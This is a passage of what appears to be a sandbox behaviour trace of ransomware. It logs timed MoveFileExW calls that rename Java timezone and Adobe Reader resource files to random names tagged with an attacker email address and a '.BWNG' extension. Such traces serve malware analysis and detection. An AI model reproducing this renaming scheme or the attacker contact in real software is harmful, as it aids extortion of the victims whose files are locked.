(x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].jq0RSBzZ-N17mGyhb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].jq0rsbzz-n17mgyhb.bwng"), dwFlags=0x1) returned 1 [0111.937] GetTickCount () returned 0x1163a33 [0111.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388961499) returned 1 [0111.938] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Phoenix" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\phoenix"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].RFAN6rxa-QJQDV1RM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].rfan6rxa-qjqdv1rm.bwng"), dwFlags=0x1) returned 1 [0111.939] GetTickCount () returned 0x1163a33 [0111.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389099456) returned 1 [0111.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rio_Branco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rio_branco"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].LWk7aBWD-BvuiRieA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].lwk7abwd-bvuiriea.bwng"), dwFlags=0x1) returned 1 [0111.940] GetTickCount () returned 0x1163a33 [0111.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389242178) returned 1 [0111.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Lucia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_lucia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].rsUJ2ZvA-nImY3XZY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].rsuj2zva-nimy3xzy.bwng"), dwFlags=0x1) returned 1 [0111.942] GetTickCount () returned 0x1163a33 [0111.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389388128) returned 1 [0111.942] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Vancouver" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\vancouver"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].dz4KwajS-pdBT1nRY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].dz4kwajs-pdbt1nry.bwng"), dwFlags=0x1) returned 1 [0111.943] GetTickCount () returned 0x1163a33 [0111.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389541146) returned 1 [0111.943] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mcmurdo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].GYHO3k4Y-swcV8nfo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].gyho3k4y-swcv8nfo.bwng"), dwFlags=0x1) returned 1 [0111.945] GetTickCount () returned 0x1163a33 [0111.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389707215) returned 1 [0111.945] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\aqtobe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].EsQITpzJ-ThYbPnLr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].esqitpzj-thybpnlr.bwng"), dwFlags=0x1) returned 1 [0111.947] GetTickCount () returned 0x1163a43 [0111.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25389916927) returned 1 [0111.947] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\chongqing"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].RA8b1Klm-0jet3Yw6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ra8b1klm-0jet3yw6.bwng"), dwFlags=0x1) returned 1 [0111.948] GetTickCount () returned 0x1163a43 [0111.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390059645) returned 1 [0111.949] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Halifax" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\halifax"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].5Sb7qkKy-d4hejQxp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].5sb7qkky-d4hejqxp.bwng"), dwFlags=0x1) returned 1 [0111.950] GetTickCount () returned 0x1163a43 [0111.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390218707) returned 1 [0111.950] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Y85X5iP2-A2sldDLR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].y85x5ip2-a2slddlr.bwng"), dwFlags=0x1) returned 1 [0111.951] GetTickCount () returned 0x1163a43 [0111.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390357507) returned 1 [0111.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Winamac" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\winamac"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].hz2jdXyy-6MreVz8w.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].hz2jdxyy-6mrevz8w.bwng"), dwFlags=0x1) returned 1 [0111.953] GetTickCount () returned 0x1163a43 [0111.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390484997) returned 1 [0111.953] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Maceio" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\maceio"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].iH9a1CDz-Wh72JSL2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ih9a1cdz-wh72jsl2.bwng"), dwFlags=0x1) returned 1 [0111.954] GetTickCount () returned 0x1163a43 [0111.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390610669) returned 1 [0111.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].a8H9KlKA-0REbvrYU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].a8h9klka-0rebvryu.bwng"), dwFlags=0x1) returned 1 [0111.955] GetTickCount () returned 0x1163a43 [0111.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390760004) returned 1 [0111.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Miquelon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\miquelon"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].uYz4jwn1-qkkHvKQd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].uyz4jwn1-qkkhvkqd.bwng"), dwFlags=0x1) returned 1 [0111.957] GetTickCount () returned 0x1163a43 [0111.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25390906476) returned 1 [0111.957] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Noronha" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\noronha"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].WdswTfGL-GzasPUTj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].wdswtfgl-gzasputj.bwng"), dwFlags=0x1) returned 1 [0111.958] GetTickCount () returned 0x1163a43 [0111.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25391031601) returned 1 [0111.958] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Porto_Velho" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\porto_velho"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].D8nJyALw-is09Et1k.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].d8njyalw-is09et1k.bwng"), dwFlags=0x1) returned 1 [0111.959] GetTickCount () returned 0x1163a43 [0111.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25391154617) returned 1 [0111.960] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santa_Isabel" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santa_isabel"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].3ZW8TIBE-R6pSVfiL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].3zw8tibe-r6psvfil.bwng"), dwFlags=0x1) returned 1 [0111.961] GetTickCount () returned 0x1163a43 [0111.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25391280482) returned 1 [0111.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Vincent" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_vincent"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].v2Wn9fmy-OGpMlJfs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].v2wn9fmy-ogpmljfs.bwng"), dwFlags=0x1) returned 1 [0112.194] GetTickCount () returned 0x1163b2d [0112.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25414661794) returned 1 [0112.195] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Cr4tBrM8-g7VwXiOM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].cr4tbrm8-g7vwxiom.bwng"), dwFlags=0x1) returned 1 [0112.198] GetTickCount () returned 0x1163b3d [0112.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25414984804) returned 1 [0112.198] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Winnipeg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\winnipeg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Y37tbGeM-eDvJ5bbQ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].y37tbgem-edvj5bbq.bwng"), dwFlags=0x1) returned 1 [0112.199] GetTickCount () returned 0x1163b3d [0112.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415139063) returned 1 [0112.199] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\rothera"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].9hxLaipH-vc0jvKSu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].9hxlaiph-vc0jvksu.bwng"), dwFlags=0x1) returned 1 [0112.201] GetTickCount () returned 0x1163b3d [0112.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415280256) returned 1 [0112.201] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baghdad"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].To5WJs8w-6Rpz90ZV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].to5wjs8w-6rpz90zv.bwng"), dwFlags=0x1) returned 1 [0112.202] GetTickCount () returned 0x1163b3d [0112.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415469638) returned 1 [0112.203] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].D4GMdK0Y-lqiHtq6b.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].d4gmdk0y-lqihtq6b.bwng"), dwFlags=0x1) returned 1 [0112.204] GetTickCount () returned 0x1163b3d [0112.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415613658) returned 1 [0112.204] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].eSwg00VO-5gSXQRGb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].eswg00vo-5gsxqrgb.bwng"), dwFlags=0x1) returned 1 [0112.205] GetTickCount () returned 0x1163b3d [0112.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415761891) returned 1 [0112.206] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\damascus"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].9MXLHCVz-aR4wr0Y1.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].9mxlhcvz-ar4wr0y1.bwng"), dwFlags=0x1) returned 1 [0112.207] GetTickCount () returned 0x1163b3d [0112.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25415886315) returned 1 [0112.207] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ho_chi_minh"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Io437SaL-O4WK7DZd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].io437sal-o4wk7dzd.bwng"), dwFlags=0x1) returned 1 [0112.208] GetTickCount () returned 0x1163b3d [0112.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25416020671) returned 1 [0112.208] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].dmL4kLsw-yASmq3cT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].dml4klsw-yasmq3ct.bwng"), dwFlags=0x1) returned 1 [0112.209] GetTickCount () returned 0x1163b3d [0112.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25416157744) returned 1 [0112.210] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\khandyga"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].yw37HRLW-yweqT5l2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].yw37hrlw-yweqt5l2.bwng"), dwFlags=0x1) returned 1 [0112.211] GetTickCount () returned 0x1163b3d [0112.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25416309334) returned 1 [0112.211] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].n2Z9wjOU-TZAGs6WM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].n2z9wjou-tzags6wm.bwng"), dwFlags=0x1) returned 1 [0112.216] GetTickCount () returned 0x1163b4c [0112.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25416811068) returned 1 [0112.216] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\muscat"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].bzKVu2dW-pKJHwELd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].bzkvu2dw-pkjhweld.bwng"), dwFlags=0x1) returned 1 [0112.384] GetTickCount () returned 0x1163bf8 [0112.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25433667559) returned 1 [0112.385] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\qyzylorda"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].tIf3qRtW-Z7uqFv32.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].tif3qrtw-z7uqfv32.bwng"), dwFlags=0x1) returned 1 [0112.387] GetTickCount () returned 0x1163bf8 [0112.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25433877379) returned 1 [0112.387] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].DZE8oGk4-FN5QUgrr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].dze8ogk4-fn5qugrr.bwng"), dwFlags=0x1) returned 1 [0112.388] GetTickCount () returned 0x1163bf8 [0112.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434013188) returned 1 [0112.388] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\singapore"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].lHG19Kaw-6mGLkhNu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].lhg19kaw-6mglkhnu.bwng"), dwFlags=0x1) returned 1 [0112.389] GetTickCount () returned 0x1163bf8 [0112.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434153458) returned 1 [0112.390] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vientiane"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].BHZjhgnb-6Cl2JRCr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].bhzjhgnb-6cl2jrcr.bwng"), dwFlags=0x1) returned 1 [0112.391] GetTickCount () returned 0x1163bf8 [0112.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434287224) returned 1 [0112.391] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].iP2PWUBh-YBjL2zXX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ip2pwubh-ybjl2zxx.bwng"), dwFlags=0x1) returned 1 [0112.392] GetTickCount () returned 0x1163bf8 [0112.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434408412) returned 1 [0112.392] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\madeira"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].0dZrOMk2-y0zWHtvO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].0dzromk2-y0zwhtvo.bwng"), dwFlags=0x1) returned 1 [0112.393] GetTickCount () returned 0x1163bf8 [0112.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434558317) returned 1 [0112.394] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\eucla"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].PA7AoSQ7-0mX9Kval.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].pa7aosq7-0mx9kval.bwng"), dwFlags=0x1) returned 1 [0112.395] GetTickCount () returned 0x1163bf8 [0112.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434700268) returned 1 [0112.395] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].CigAJOip-O7FiP6cW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].cigajoip-o7fip6cw.bwng"), dwFlags=0x1) returned 1 [0112.396] GetTickCount () returned 0x1163bf8 [0112.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25434850411) returned 1 [0112.396] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+5"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].4jWyHfTP-aAQJQrWV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].4jwyhftp-aaqjqrwv.bwng"), dwFlags=0x1) returned 1 [0112.398] GetTickCount () returned 0x1163bf8 [0112.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25435030661) returned 1 [0112.477] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" (normalized: 